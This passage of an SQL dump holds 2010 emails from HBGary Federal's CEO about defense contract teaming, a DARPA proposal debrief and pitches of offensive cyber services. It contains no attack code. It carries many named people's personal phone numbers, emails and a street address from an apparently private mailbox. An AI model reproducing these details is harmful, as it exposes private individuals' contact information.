don\'t want the tool users to also be the tool developers, something about bath water and drinking it. &nbsp;Interested to hear NG is on Booz team.AaronOn May 11, 2010, at 2:26 PM, Paul Rooney wrote:\r\nAaron - give me a call anytime to discuss.\r\nI do not believe based on client discussions that the government will make\r\nanother award to SAIC in V group.I also do not believe that SAIC will partner\r\nwith us. But, I am having lunch with Scott next Friday. \r\n\r\nThanks,\r\n\r\nPaul\r\n\r\nPaul Rooney\r\nDirector\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7303 &nbsp;c: 410-245-7904\r\nf: 443.445.7134\r\nprooney3@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nPaul Rooney/USA/CSC@CSC\r\n\r\nDate:\r\n05/10/2010 04:06 PM\r\n\r\nSubject:\r\nCTSC\r\n\r\n\r\n\r\n\r\nPaul,\r\n\r\nI had a conversation with SAIC today, Scott Sheldon. &nbsp;Do you have\r\nsome\r\ntime to discuss? &nbsp;Not sure if you are aware but Northrop chose the\r\nBooz team. &nbsp;Also word that I got from SAIC and others is Booz isn\'t\r\nnecessarily that weak. &nbsp;Seems to me it will take a very strong team\r\nto\r\nunseat Booz and i think an SAIC/CSC team could do it, separate given\r\nBooz not very vulnerable seems like a longer shot. &nbsp;Just wondering\r\nyour thoughts.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8674,'aaron_hbgary_com/8674.html'),(6238,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004460.M46227P14101Q1092.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','Re: Senate Confirms Military Cybersecurity Chief','About time. &nbsp;There will be noticeable movement in the next few to six months. &nbsp;Although not visible, there will be a lot more movement on offense. &nbsp;For many reasons.AaronOn May 11, 2010, at 3:14 PM, Karen Burke wrote:FYI -- Keith Alexander confirmed; interesting&nbsp;small mention&nbsp;in article about CyberCommand\'s possible use of offensive cyber weapons.&nbsp;\r\n&nbsp;\r\nhttp://www.informationweek.com/news/government/security/showArticle.jhtml?articleID=224701513&amp;cid=RSSfeed_IWK_Security\r\n\"While Alexander focused more on cyber-defense, he did say in written answers to Senators\' questions that \"under the right circumstances,\" Cyber Command would have the authority to use offensive cyber weapons against military command and control networks, weapons, power grids, transportation-related networks, national telecommunications networks, and even enemies\' financial institutions. \"\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15545,'aaron_hbgary_com/15545.html'),(6239,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004460.M507955P14101Q1094.eml','DARPA-BAA-10-36@darpa.mil','Cyber Genome TA-3 Proposal','Dr. Van Putte,\r\n\r\nThank you for your consideration of our proposal.  At your convenience I would very much like to hear your thoughts on the strengths and weaknesses of our proposal.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11544,'aaron_hbgary_com/11544.html'),(6240,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004460.M723321P14101Q1095.eml','\"Andy Purdy\" <dpurdy@csc.com>','Re: Introduction','Interesting coincidence.  Yesterday I meet you for the first time in the lobby of the Sheraton and later that same day you sit next to Ted on a flight from Denver to Sacramento.\r\n\r\nWhen you get back to town I would very much like to sit down with you and discuss our capabilities and our focus for the services side of the business.  I think we have some good ideas related to Threat Intelligence and creative offensive capabilities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n719.510.8478\r\n\r\nOn May 11, 2010, at 1:17 PM, Ted Vera wrote:\r\n\r\n> Aaron,\r\n> \r\n> Yesterday I had the pleasure of meeting Andy Purdy (cc\'d), when we\r\n> were seated next to each other on a flight to Sacramento, what are the\r\n> odds?\r\n> \r\n> Andy would like to learn more about HBGary\'s TMC and our services\r\n> including our offensive and influence capabilities.  Below is his\r\n> contact information:\r\n> \r\n> Andy Purdy\r\n> Chief Cyber Strategist, Esq., CISSP\r\n> CSC\r\n> \r\n> Office:  (703) 641-2176\r\n> Mobile:  (202) 486-0720\r\n> Email:  dpurdy@csc.com\r\n> \r\n> Andy, Aaron\'s cell phone is (719) 510-8478.  It was a pleasure meeting\r\n> you.  Good luck on your talk today!\r\n> \r\n> Ted\r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n',3068,'aaron_hbgary_com/3068.html'),(6241,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004460.M954721P14101Q1096.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Introduction','Thanks for the Intro Bob.Brad, give me a call when you get back into town and we can sit down and compare notes.Aaron BarrCEOHBGary Federal719.510.8478On May 11, 2010, at 12:14 PM, Bob Slapnik wrote:Brad and Aaron,&nbsp;I thought it could be useful for the two of you to know each other.&nbsp; Aaron Barr is the CEO of HBGary Federal, a new company that focuses on gov’t services work, including classified work.&nbsp; Aaron was a Tech Director at Northrop Grumman.&nbsp;&nbsp;Aaron has people on his team with mobile and PDA exploitation expertise.&nbsp; Knowing this is a key focus for IOMAXIS we thought introducing you to each other made sense.&nbsp; Aaron also has a significant expertise and experience with social media, exploitation and persistent internet operations.&nbsp;Contact info:Brad Buhr / 703-455-2555 / Mobile 703-310-8765Aaron Barr / 719-510-8478&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;',4989,'aaron_hbgary_com/4989.html'),(6242,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004461.M186395P14101Q1097.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Xetron','I believe they still do. &nbsp;Name would be Brian Masterson I think? &nbsp;They may have registered it under one of the actual developers.brian.masterson@ngc.comAaronOn May 11, 2010, at 11:44 AM, Penny Leavy-Hoglund wrote:Do they still have an active eval?&nbsp; Aaron can tell you the name of the indidivual&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7135,'aaron_hbgary_com/7135.html'),(6243,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004461.M431483P14101Q1098.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: 451Group eCrime Report Published','I would need to talk with him. &nbsp;At initial glance no. &nbsp;He reads more like a technical BD guy. &nbsp;And if he is staying in TN, definitely no. &nbsp;Only exception would be if he can do incident response and if we develop a strong enough capability and pipeline to fund him. &nbsp;He lists forensics as a skill, but no real work experience that I can see, so in short, doesn\'t seem like a good fit for federal right now. &nbsp;But because he is a friend of Andy\'s I will give him a call, give him the lay of the land, see what he is interested in.AaronOn May 11, 2010, at 12:20 PM, Penny Leavy-Hoglund wrote:Are you interested?&nbsp; Friend of Andy’s&nbsp;From:&nbsp;Donald Andy Purdy [mailto:dpurdy@csc.com]&nbsp;Sent:&nbsp;Monday, May 10, 2010 12:10 PMTo:&nbsp;Penny HoglundCc:&nbsp;Bryant TowSubject:&nbsp;Re: 451Group eCrime Report Published&nbsp;Penny,Here is a great guy, bryant tow, who would be a tremendous addition to your team. &nbsp;He has a current TS/SCI security clearance.AndyAndyDonald A. Purdy, Jr. Esq., CISSPChief Cybersecurity StrategistCyber HGMSCSC703 641 2176This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.&nbsp; From:&nbsp;\"Penny Leavy-Hoglund\" [penny@hbgary.com]&nbsp; Sent:&nbsp;05/10/2010 10:41 AM MST&nbsp; To:&nbsp;Donald Purdy&nbsp; Subject:&nbsp;FW: 451Group eCrime Report Published&nbsp;Here you go&nbsp;&lt;Bryant G Tow Resume 013110a.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10968,'aaron_hbgary_com/10968.html'),(6244,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004461.M656511P14101Q1099.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Status and Pipeline','Penny/Greg,\r\n\r\nThe loss of CyberGenome TA-3, well, sucks.  We are still awaiting word on TA-1.  I have emailed DARPA to get some description of our proposals strengths and weaknesses.\r\n\r\nWe are coming up on 6 months under your funding and want to give you a brief add to our discussion yesterday.\r\n\r\nFocus:\r\nOffense\r\nIncident Response/Training\r\nLong Term Services\r\n\r\nOn offense we are working well and satisfying GD as well as getting some good leads and conversations through Irv.  As well as Ted and my old line of work, RFP delayed to this summer.\r\n\r\nIncident Response/Training - talking with Ted, we can be ready to run IR/Training engagements within the month, on our own.  So please keep this in mind as you are talking with customers about IR services.\r\n\r\nLong-Term Services - all the big contractors want to talk with us to provide services on the major recompetes coming out this year.  We are teamed on VISE (NTOC Tool development), NCPP/US-CERT (DHS), SAIC is working to fit us in under the NANA contract (recent award to SAIC for NTOC analysis).\r\n\r\nThere are other pipeline items that fit into these categories but this is a good synopsis of efforts.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n\r\n',14256,'aaron_hbgary_com/14256.html'),(6245,'2010-05-12','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297004462.M20807P14101Q1100.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Discussions EGS @ Thu May 13 2pm - 3pm (dsi@endgames.us)','',5257,'aaron_hbgary_com/5257.html'),(6246,'2010-05-12','\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>','/aaron@hbgary.com/new/1297004465.M504626P14101Q1101.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Can we meet on the 12th at 1300? (UNCLASSIFIED)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nIrv, are we good for 1200 at your space? ~ Lincoln \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLieutenant Colonel&nbsp;Lincoln Leibner\r\n\r\nUnited States Army\r\n\r\nOperations and Technology Office\r\n\r\n703-697-7131 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 16:58\r\nTo: Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\r\nCc: Lachow, Irving Mr OSD ATL\r\nSubject: Re: Can we meet on the 12th at 1300? (UNCLASSIFIED)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGood for me.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 4:55 PM, &quot;Leibner, Lincoln D LTC MIL US USA DCS\r\nG-3/5/7&quot; &lt;lincoln.leibner@us.army.mil&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification:\r\nUNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nCan we do\r\n1200?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLieutenant\r\nColonel&nbsp;Lincoln Leibner\r\n\r\nUnited\r\nStates Army\r\n\r\nOperations\r\nand Technology Office\r\n\r\n703-697-7131\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving Mr\r\nOSD ATL [mailto:Irving.Lachow@osd.mil]\r\n\r\nSent: Friday, May 07, 2010 16:38\r\nTo: Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7; \'Aaron Barr\'\r\nSubject: Can we meet on the 12th at 1300?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIrving\r\nLachow, Ph.D.\r\n\r\nDirector,\r\nCyber Programs\r\n\r\nSpecial\r\nCapabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp;\r\n(703) 746-1226\r\n\r\nCell:&nbsp;\r\n(202) 556-0591\r\n\r\nClassification:\r\nUNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15511,'aaron_hbgary_com/15511.html'),(6247,'2010-05-12','\"Donald Andy Purdy\" <dpurdy@csc.com>','/aaron@hbgary.com/new/1297004466.M495750P14101Q1102.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Introduction','Thank you.  How should we work introducing HBGary capabilities -- both products and services -- to CSC in an efficient manner?  Can both HBGary entities meet with us at the same time?\r\n\r\nAlso, as I await a comprehensive email to our folks from Penny, can you send me a sheet or whitepaper that describes how you can contribute to an assessment of problems in multiple state agencies to give the state CIO/CISO a picture of how compromised they are and by whom?\r\n\r\nLook forward to getting together.\r\n\r\nThanks\r\nAndy\r\n\r\nDonald A. Purdy, Jr. Esq., CISSP\r\nChief Cybersecurity Strategist\r\nCyber HGMS\r\nCSC\r\n703 641 2176\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: 05/12/2010 12:03 AM AST\r\nTo: Donald Purdy\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\nInteresting coincidence.  Yesterday I meet you for the first time in the lobby of the Sheraton and later that same day you sit next to Ted on a flight from Denver to Sacramento.\r\n\r\nWhen you get back to town I would very much like to sit down with you and discuss our capabilities and our focus for the services side of the business.  I think we have some good ideas related to Threat Intelligence and creative offensive capabilities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n719.510.8478\r\n\r\nOn May 11, 2010, at 1:17 PM, Ted Vera wrote:\r\n\r\n> Aaron,\r\n>\r\n> Yesterday I had the pleasure of meeting Andy Purdy (cc\'d), when we\r\n> were seated next to each other on a flight to Sacramento, what are the\r\n> odds?\r\n>\r\n> Andy would like to learn more about HBGary\'s TMC and our services\r\n> including our offensive and influence capabilities.  Below is his\r\n> contact information:\r\n>\r\n> Andy Purdy\r\n> Chief Cyber Strategist, Esq., CISSP\r\n> CSC\r\n>\r\n> Office:  (703) 641-2176\r\n> Mobile:  (202) 486-0720\r\n> Email:  dpurdy@csc.com\r\n>\r\n> Andy, Aaron\'s cell phone is (719) 510-8478.  It was a pleasure meeting\r\n> you.  Good luck on your talk today!\r\n>\r\n> Ted\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n',5630,'aaron_hbgary_com/5630.html'),(6248,'2010-05-12','\"King, Matthew (contr-sto)\" <Matthew.King.ctr@darpa.mil>','/aaron@hbgary.com/new/1297004466.M788022P14101Q1103.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','RE: Cyber Genome TA-3 Proposal','Mr. Barr,\r\n\r\nWe will be coordinating with Dr. VanPutte\'s schedule this week to find a time \r\nto provide de-briefs to those who request them. As soon as we have dates, \r\ntimes, location, etc. we will notify you.\r\n\r\nThank you.\r\n\r\nMatthew King\r\nSETA\r\nDARPA/STO\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, May 12, 2010 12:00 AM\r\nTo: DARPA-BAA-10-36\r\nSubject: Cyber Genome TA-3 Proposal\r\n\r\nDr. Van Putte,\r\n\r\nThank you for your consideration of our proposal.  At your convenience I would \r\nvery much like to hear your thoughts on the strengths and weaknesses of our \r\nproposal.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10633,'aaron_hbgary_com/10633.html'),(6249,'2010-05-12','\"Donald Andy Purdy\" <dpurdy@csc.com>','/aaron@hbgary.com/new/1297004467.M387809P14101Q1105.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,','Re: Introduction','Penny,\r\n\r\nPlease send the email with supporting info as soon as practicable.  I have teed it up with carlos solari and dean weber.\r\n\r\nThanks\r\nAndy\r\n\r\nDonald A. Purdy, Jr. Esq., CISSP\r\nChief Cybersecurity Strategist\r\nCyber HGMS\r\nCSC\r\n703 641 2176\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n----- Original Message -----\r\nFrom: Donald Andy Purdy\r\nSent: 05/12/2010 07:25 AM EDT\r\nTo: \"Aaron Barr\" \r\nCc: \"Rich Cummings\" ; \"Penny Hoglund\" \r\nSubject: Re: Introduction\r\n\r\n\r\n\r\nThank you.  How should we work introducing HBGary capabilities -- both products and services -- to CSC in an efficient manner?  Can both HBGary entities meet with us at the same time?\r\n\r\nAlso, as I await a comprehensive email to our folks from Penny, can you send me a sheet or whitepaper that describes how you can contribute to an assessment of problems in multiple state agencies to give the state CIO/CISO a picture of how compromised they are and by whom?\r\n\r\nLook forward to getting together.\r\n\r\nThanks\r\nAndy\r\n\r\nDonald A. Purdy, Jr. Esq., CISSP\r\nChief Cybersecurity Strategist\r\nCyber HGMS\r\nCSC\r\n703 641 2176\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: 05/12/2010 12:03 AM AST\r\nTo: Donald Purdy\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\nInteresting coincidence.  Yesterday I meet you for the first time in the lobby of the Sheraton and later that same day you sit next to Ted on a flight from Denver to Sacramento.\r\n\r\nWhen you get back to town I would very much like to sit down with you and discuss our capabilities and our focus for the services side of the business.  I think we have some good ideas related to Threat Intelligence and creative offensive capabilities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n719.510.8478\r\n\r\nOn May 11, 2010, at 1:17 PM, Ted Vera wrote:\r\n\r\n> Aaron,\r\n>\r\n> Yesterday I had the pleasure of meeting Andy Purdy (cc\'d), when we\r\n> were seated next to each other on a flight to Sacramento, what are the\r\n> odds?\r\n>\r\n> Andy would like to learn more about HBGary\'s TMC and our services\r\n> including our offensive and influence capabilities.  Below is his\r\n> contact information:\r\n>\r\n> Andy Purdy\r\n> Chief Cyber Strategist, Esq., CISSP\r\n> CSC\r\n>\r\n> Office:  (703) 641-2176\r\n> Mobile:  (202) 486-0720\r\n> Email:  dpurdy@csc.com\r\n>\r\n> Andy, Aaron\'s cell phone is (719) 510-8478.  It was a pleasure meeting\r\n> you.  Good luck on your talk today!\r\n>\r\n> Ted\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n',5654,'aaron_hbgary_com/5654.html'),(6250,'2010-05-12','\"Paul Rooney\" <prooney3@csc.com>','/aaron@hbgary.com/new/1297004467.M644202P14101Q1106.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: CTSC','\r\nI have a 10-1130 this morning and then\r\na 1230-1430. Call any time but then.\r\n\r\nPaul\r\n\r\nPaul Rooney\r\nDirector\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7303 &nbsp;c: 410-245-7904\r\nf: 443.445.7134\r\nprooney3@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nPaul Rooney/USA/CSC@CSC\r\n\r\nDate:\r\n05/11/2010 11:58 PM\r\n\r\nSubject:\r\nRe: CTSC\r\n\r\n\r\n\r\n\r\nThanks Paul. &nbsp;I question SAICs efficacy in the eyes\r\nof NSA after winning NANA. &nbsp;I would be very interested to get your\r\nthoughts on this. &nbsp;Can I call you in the morning? &nbsp;I had a good\r\nconversation with Scott, nice guy. &nbsp;I think they would partner with\r\nyou but not with you as a prime. &nbsp;Although you might be able to make\r\na convincing argument that CSC as a prime with SAIC as a strong sub is\r\nthe best perceptive solution because of the NANA win. &nbsp;You don\'t want\r\nthe tool users to also be the tool developers, something about bath water\r\nand drinking it. &nbsp;Interested to hear NG is on Booz team.\r\n\r\nAaron\r\n\r\nOn May 11, 2010, at 2:26 PM, Paul Rooney wrote:\r\n\r\n\r\nAaron - give me a call anytime to discuss. I do not believe based on client\r\ndiscussions that the government will make another award to SAIC in V group.I\r\nalso do not believe that SAIC will partner with us. But, I am having lunch\r\nwith Scott next Friday. \r\n\r\nThanks, \r\n\r\nPaul \r\n\r\nPaul Rooney\r\nDirector\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7303 &nbsp;c: 410-245-7904\r\nf: 443.445.7134\r\nprooney3@csc.com\r\nI www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nTo:\r\n\r\nPaul Rooney/USA/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n05/10/2010 04:06 PM\r\n\r\n\r\nSubject:\r\n\r\nCTSC\r\n\r\n\r\n\r\n\r\n\r\nPaul,\r\n\r\nI had a conversation with SAIC today, Scott Sheldon. &nbsp;Do you have\r\nsome\r\ntime to discuss? &nbsp;Not sure if you are aware but Northrop chose the\r\nBooz team. &nbsp;Also word that I got from SAIC and others is Booz isn\'t\r\nnecessarily that weak. &nbsp;Seems to me it will take a very strong team\r\nto\r\nunseat Booz and i think an SAIC/CSC team could do it, separate given\r\nBooz not very vulnerable seems like a longer shot. &nbsp;Just wondering\r\nyour thoughts.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',4558,'aaron_hbgary_com/4558.html'),(6251,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004467.M67337P14101Q1104.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Cyber Genome TA-3 Proposal','Sent from my iPadBegin forwarded message:From: &quot;King, Matthew (contr-sto)&quot; &lt;Matthew.King.ctr@darpa.mil&gt;\r\nDate: May 12, 2010 7:38:33 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;, DARPA-BAA-10-36 &lt;DARPA-BAA-10-36@darpa.mil&gt;\r\nSubject: RE: Cyber Genome TA-3 ProposalMr. Barr,We will be coordinating with Dr. VanPutte&#39;s schedule this week to find a time \r\nto provide de-briefs to those who request them. As soon as we have dates, times, location, etc. we will notify you.Thank you.Matthew King\r\nSETADARPA/STO-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, May 12, 2010 12:00 AMTo: DARPA-BAA-10-36Subject: Cyber Genome TA-3 ProposalDr. Van Putte,Thank you for your consideration of our proposal.  At your convenience I would \r\nvery much like to hear your thoughts on the strengths and weaknesses of our proposal.Thank You,Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',1039,'aaron_hbgary_com/1039.html'),(6252,'2010-05-12','\"HQ Meeting Room Reservations\" <jihan.saldana@regus.com>','/aaron@hbgary.com/new/1297004467.M901907P14101Q1107.eml','aaron@hbgary.com','HQ Meeting Room Confirmed Booking 10099792','\r\n			.Wrapper {width:600px;padding:3px;font-family:Tahoma;font-size:10pt}\r\n			.Heading {width:100%;background-color:#E0E0E0;color:#000000;font-weight:bold;padding:3px}\r\n			.Held {font-weight: bold;text-align:center}\r\n			.InvoiceFooter {font-weight: bold;text-align:center}\r\n\r\n			TABLE {border-collapse:collapse; font-size:10pt}\r\n			TABLE TD, TABLE TH {font-size:10pt}\r\n			TABLE TD {font-weight:normal}\r\n			TABLE TH {font-weight:bold;text-align:left}\r\n\r\n			TH, TD {padding:1px}\r\n			.TblD TD {width: 160px}\r\n\r\n			.TblS {width:98%}\r\n			.TblS TH {font-weight:bold}\r\n			.TblS TR.Hdr TD, .TblS TR.TTl TD {white-space:nowrap;font-weight:bold}\r\n			.TblS TD {font-weight:normal;vertical-align:top}\r\n			.TblS TR.GT TH {font-size: 120%}\r\n			.TblS TD, .TblS.TH {border:1px solid #C0C0C0;padding:3px}\r\n			.TblS TR.TTl TD {border-width:1px 0px 0px 0px}\r\n			ul {list-style-image:none;margin:0px}\r\n			ul li {font-size:8pt;list-style-image:disc;margin-left:32px}\r\n			ul li.Hdr {list-style-image:none;margin:0px}\r\n\r\n			div.RS , div.RE {border-color:#C0C0C0;border-style:solid;width:100%;height:3px;font-size:1px;margin:6px 0px 6px 0px}\r\n			div.RS {border-width: 1px 1px 0px 1px}\r\n			div.RE {border-width: 0px 1px 1px 1px}\r\n\r\n			div.Indent{padding: 0px 6px 0px 6px}\r\n\r\n			.Notes {font-size:8pt;font-style:italic;}\r\n		Thank you for confirming your booking with HQ. We are delighted to have the opportunity to help. Please find below your booking details.Confirmed Booking SummaryREFERENCE:\r\n				10099792Center:\r\n				VA, McLean - Corporate Ridge (HQ)Client:\r\n				HB GaryMeeting Room Details Start Date:\r\n						Wednesday, May 12, 2010Start Time:\r\n						2:00 PMEnd Date:\r\n						Wednesday, May 12, 2010End Time:\r\n						4:00 PMDelegates:\r\n						2Room Layout:\r\n							BoardroomWe are pleased to provide further information on the following services as requested:\r\n					QtyServiceRatePrice1Meeting Room (Room Rate)Includes 10% Discount$88.20$88.20TOTAL$88.20 Due to limited availability, and as a courtesy to other customers, we ask that you notify us if you no longer require the booking on the requested dates.* Please Note - prices do not include local tax. The price quoted excludes any prepayment.Please use the following details to contact us:\r\n		Booker:\r\n					Jihan SaldanaPhone:\r\n				001 877-734-8787Email:\r\n				americas.reservations@regus.comFax:\r\n				001 214-295-3171HQ Location DetailsCenter:\r\n				VA, McLean - Corporate Ridge (HQ)Address:\r\n				2010 Corporate RidgeMcLeanVirginia22102United States of AmericaClick here for a mapPhone703 749 7700Fax703 749 7719EmailMcLean.ExecutivePlaza@regus.comYour Company DetailsClient:\r\n				HB GaryContact Name:\r\n				 Aaron BarrContact Tel:\r\n				719-510-8478Contact Email:\r\n				aaron@hbgary.comAddress:\r\n				3941 Park Dr #20-305EDH95762United States of AmericaYou have selected to pay by Payment Card.Disclaimer: Meeting room bookings which overrun or have delegates added at the point of Check In will have all additional charges calculated at 